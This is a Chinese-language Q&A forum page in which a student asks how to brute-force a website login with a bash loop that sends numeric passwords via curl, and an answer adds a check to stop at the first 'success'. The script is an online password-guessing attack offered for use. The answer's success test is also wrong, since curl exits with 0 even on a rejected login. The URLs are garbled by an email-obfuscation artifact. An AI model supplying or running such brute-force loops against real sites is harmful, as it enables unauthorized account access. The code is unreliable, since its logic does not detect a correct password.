如何从终端登录网站?

如何从终端登录网站?

作为计算机科学专业的学生,​​我现在正在学习使用命令行。我需要使用暴力登录网站,知道用户名和密码是一定范围内的整数。这是我到目前为止所拥有的,但似乎不起作用。

 for i in {2000..3000}; do curl http://admin:[email protected]/link; done

我该如何继续?

答案1

i您的例程缺少的是一旦找到正确的退出方式。为此,您可以查看从curl返回的退出代码:

for i in {2000..3000}
do 
  curl http://admin:[email protected]/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

当一切正确时,退出值为curl0,并且可以在程序停止后通过检查特殊变量来直接检查$?。使用man curl并搜索来EXIT CODE查看所有不同的内容curl可以通过其退出代码告诉您。

相关内容